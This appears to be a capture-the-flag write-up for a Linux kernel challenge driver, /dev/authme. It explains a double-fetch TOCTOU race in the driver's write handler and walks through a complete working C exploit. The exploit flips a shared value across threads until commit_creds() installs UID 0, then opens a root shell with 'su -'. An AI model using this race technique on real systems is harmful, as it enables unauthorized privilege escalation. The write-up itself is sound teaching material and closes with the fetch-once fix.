Racing /dev/authme: From a Double-Fetch TOCTOU to commit_creds() and a Root Shell
authme is a small Linux kernel challenge with two relevant file operations: one reads the current UID and the other changes the credentials of the calling task. The driver tries to prevent us from requesting UID 0, but it validates a userspace buffer and then reads the same buffer again later.
That gives us a double-fetch race:
device_write()checks only the first byte of our buffer and requires it to be nonzero.- It calls
prepare_creds(), which creates a useful timing window. - It later fetches complete 32-bit values from the same userspace address.
- It writes those values into the UID/GID fields of a new
struct cred. - It installs the credentials with
commit_creds().
The final exploit flow is:
open /dev/authme
-> start a pthread that continuously changes shared_id between 1 and 0
-> main thread stores 1 in the same atomic value
-> call write(fd, &shared_id, 4)
-> kernel checks the first byte while it is 1
-> flipper thread stores 0 during prepare_creds()
-> kernel's later 32-bit fetches read 0
-> credential UID/GID fields become 0
-> commit_creds() installs them for the calling task
-> getuid() returns 0
-> execute su -
No kernel ROP, KASLR leak, heap spray, or arbitrary kernel read/write is needed. The driver already contains the privilege-escalation operation; the only task is making its check and its later use observe different values.
1. Reversing the two device operations
There was no source code, so I started from the decompiled callbacks. With the decompiler noise removed, the read operation looked like this:
long device_read(struct file *file, unsigned char *user_buf)
{
unsigned int uid;
uid = current->cred->uid.val;
printk("Current user id is %u\n", uid);
*user_buf = uid;
return 0;
}
The actual decompilation accessed current_task through GS and then followed a hard-coded offset to its credentials. What it essentially does is, it gets the UID of the task that called read().
There are already two strange details here:
- The callback writes directly through a userspace pointer instead of using
copy_to_user(). - It writes through a byte pointer, so only the low eight bits of the UID are returned.
The write operation is the interesting one:
long device_write(struct file *file, char *user_buf)
{
unsigned int *new;
unsigned int id;
printk("Trying to log in as user id %d\n", *user_buf);
if (*user_buf != 0) {
new = prepare_creds();
id = *(unsigned int *)user_buf;
new[1] = *(unsigned int *)user_buf;
new[2] = id;
new[3] = id;
new[4] = id;
new[5] = id;
new[6] = id;
new[7] = id;
new[8] = id;
commit_creds(new);
return 0;
}
printk("Cannot login as root user\n");
return -1;
}
The missing argument to commit_creds() in the original output was a decompiler quirck or something it didn't look right.. The prepared credential pointer has to be passed to it.
The eight assignments next to eachother line up with the real, effective, saved, and filesystem UID/GID values in struct cred. The precise type names are hidden because the decompiler represented the object as an array of 32-bit integers, but the goal is clear: make every relevant identity field equal to the requested ID.
2. Turning the decompilation into a userspace protocol
The device is exposed as /dev/authme, so the userspace side is a normal file operation:
int fd = open("/dev/authme", O_RDWR);
uint32_t id = 1;
write(fd, &id, sizeof(id));
The second argument to write() is a userspace address. Inside the driver, user_buf points to the same bytes stored in id.
Because the machine is little-endian, 1 is represented as:
userspace address byte
+0x00 0x01
+0x01 0x00
+0x02 0x00
+0x03 0x00
32-bit value = 0x00000001 = 1
For zero, all four bytes are zero:
00 00 00 00 -> 0x00000000
If the buffer stays unchanged, the root check works: a value of zero necessarily has a zero first byte and is rejected. The vulnerability appears because the buffer does not have to stay unchanged.
3. The bug is a double fetch of userspace memory
The relevant sequence is:
if (*user_buf != 0) { // validation fetch: one byte
new = prepare_creds();
id = *(unsigned int *)user_buf; // later fetch: four bytes
new[1] = *(unsigned int *)user_buf; // another four-byte fetch
new[2] = id;
/* assign the remaining credential fields */
}
The kernel checks data that still belongs to userspace. Another userspace thread can change those bytes at any time. The driver then calls prepare_creds() and later dereferences the userspace address again instead of using a stable kernel copy.
The interleaving we want is:
main/writer thread kernel device_write() flipper thread
------------------ --------------------- --------------
shared_id = 1
write(fd, &shared_id, 4)
*user_buf != 0 -> true
prepare_creds()
shared_id = 0
id = *(uint32_t *)user_buf
id is now 0
new[1] = *(uint32_t *)user_buf
new[1] is now 0
commit_creds(new)
This is a time-of-check/time-of-use (TOCTOU) bug. More specifically, it is a double fetch: the kernel fetches attacker-controlled memory for validation and then fetches it again for use. In this function, the decompiler shows more than one later 32-bit fetch, but the same problem applies to each of them.
Most attempts do not produce this ordering. The check may see zero and reject the call, or the later fetches may see one. The exploit solves that by creating the race thousands of times until one call lands in the useful window.
4. Creating concurrency with pthread_create()
The exploit needs two pieces of code to run at the same time. One thread has to enter device_write() while another thread keeps changing the userspace value that the driver reads. I used pthread_create() to start the flipper and kept the device calls in the main thread:
pthread_t thread;
pthread_create(&thread, NULL, flipper, NULL);
After pthread_create() returns, main() and flipper() execute concurrently and share the same shared_id object. The main thread repeatedly stores the nonzero value that passes validation and then calls write():
while (getuid() != target_value) {
atomic_store_explicit(&shared_id, allowed_value, memory_order_relaxed);
write(fd, &shared_id, sizeof(shared_id));
}
At the same time, the flipper continuously alternates the shared value between the allowed UID and the target UID:
while (!atomic_load_explicit(&stop, memory_order_relaxed)) {
atomic_store_explicit(&shared_id, allowed_value, memory_order_relaxed); // 1
atomic_store_explicit(&shared_id, target_value, memory_order_relaxed); // 0
}
This creates many possible interleavings. The useful one occurs when device_write() checks the nonzero value, the flipper stores zero during prepare_creds(), and the driver's later 32-bit fetches read that zero.
5. Why I used relaxed atomics
The original writeup uses a global buffer and flag:
int race_win;
char buf[0x200];
void *race(void *arg)
{
while (!race_win) {
buf[0] = 0;
usleep(1);
}
return NULL;
}
That version is enough for this challenge. In my exploit I used atomics to make it explicit that both threads access the same changing value:
static _Atomic uint32_t shared_id;
static _Atomic int stop = 0;
The hot stores use relaxed ordering:
atomic_store_explicit(&shared_id, value, memory_order_relaxed);
Relaxed ordering is enough here because the exploit only needs the threads to load and store the UID value; it does not depend on ordering any other data around those operations.
Atomics do not prevent this exploit's logical race. They make each userspace load or store a well-defined operation, but they do not lock shared_id across the kernel's validation and later use. The kernel can still check an atomically stored value of one and then read an atomically stored value of zero.
6. Why the race window is large enough
The source does not contain the one-second delay often added to educational race challenges, but it does contain this call between validation and use:
new = prepare_creds();
prepare_creds() duplicates the calling task's credential structure and places additional work between the validation fetch and the later credential fetches. This increases the interval in which the flipper can change the shared value.
There is no deliberate delay in my exploit. The flipper changes shared_id between one and zero as quickly as possible, while the main thread repeatedly invokes device_write(). The useful cycle is:
main thread stores 1 and calls write()
kernel validation fetch reads 1
flipper thread stores 0 during prepare_creds()
kernel's later 32-bit fetches read 0
Printing inside either hot loop made the race slower and changed its timing, so I only printed after success.
7. Full exploit
This is the complete exploit I used:
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdatomic.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
static _Atomic uint32_t shared_id;
static _Atomic int stop = 0;
static const uint32_t allowed_value = 1;
static const uint32_t target_value = 0;
static void *flipper(void *unused)
{
(void)unused;
while (!atomic_load_explicit(&stop, memory_order_relaxed)) {
atomic_store_explicit(&shared_id, allowed_value, memory_order_relaxed);
atomic_store_explicit(&shared_id, target_value, memory_order_relaxed);
}
return NULL;
}
int main(void)
{
int fd = open("/dev/authme", O_RDWR);
if (fd == -1) {
fprintf(stderr, "open: %s\n", strerror(errno));
return 1;
}
atomic_init(&shared_id, allowed_value);
pthread_t thread;
int err = pthread_create(&thread, NULL, flipper, NULL);
if (err != 0) {
fprintf(stderr, "pthread_create: %s\n", strerror(err));
close(fd);
return 1;
}
while (getuid() != target_value) {
atomic_store_explicit(&shared_id, allowed_value, memory_order_relaxed);
ssize_t result = write(fd, &shared_id, sizeof(shared_id));
/*
* The handler may return -1 whenever its check observes zero.
* Don't print each failure: that would substantially slow the race.
*/
if (result == -1 && errno != EPERM && errno != EINVAL) {
/* Keep this optional while investigating driver behavior. */
}
}
atomic_store_explicit(&stop, 1, memory_order_relaxed);
pthread_join(thread, NULL);
printf("Current UID: %u\n", (unsigned)getuid());
system("su -");
close(fd);
return 0;
}
I compiled it with pthread support:
gcc -O2 -pthread poc.c -o poc
The result was:

8. Why checking getuid() works
commit_creds() changes the credentials of the current kernel task. In this exploit, the main thread is the one calling write(), so the vulnerable callback runs in the main thread's syscall context.
When the race succeeds, the main thread receives the new credentials. Its next getuid() returns zero and ends the loop. The shell started with system("su -") is also launched from that thread and inherits those credentials.
The flipper thread exists only to mutate the shared userspace value. It does not need to call the device or become root itself. I stop and join it before starting the shell.
The driver's return value is not a reliable success signal. Its successful path returns zero rather than the number of bytes handled, and its rejected path returns -1. Even a call that returns zero may simply have installed UID 1. Testing the calling task's actual UID is the useful condition.
9. End-to-end exploit flow
reverse device_read() and device_write()
-> identify user_buf as the second write() argument
-> notice *user_buf is checked before prepare_creds()
-> notice *(uint32_t *)user_buf is fetched again afterward
-> choose 1 as the nonzero validation value
-> choose 0 as the later credential value
-> put the shared UID in an atomic 32-bit object
-> create a pthread that continuously stores 1 and 0
-> main thread repeatedly stores 1 and calls write()
-> one call checks 1 and later fetches 0
-> driver writes 0 to its new credential fields
-> commit_creds() installs the object for the writer task
-> getuid() returns 0
-> stop the racing thread
-> execute su - as root
In a diagram:

as this was my first kernel race-condition exploit, and the useful mental model was simpler than I initially expected: the pointer stays the same, but the data behind it changes between two kernel reads.
So the things noted are:
- A userspace pointer does not refer to stable data just because the kernel already validated it once.
pthread_create()creates the concurrent execution; atomic stores make each shared-value update well-defined without locking the kernel's check-and-use sequence.- The validation value and the value used later do not have to be the same when the driver performs a double fetch.
- Calls placed between the check and use can make a tiny race window practical.
- Repeating a cheap attempt is often enough for an introductory race challenge.
commit_creds()operates on the task currently executing the vulnerable callback, so the syscall-calling thread matters.- The correct kernel pattern is fetch once, validate the kernel copy, and use only that copy.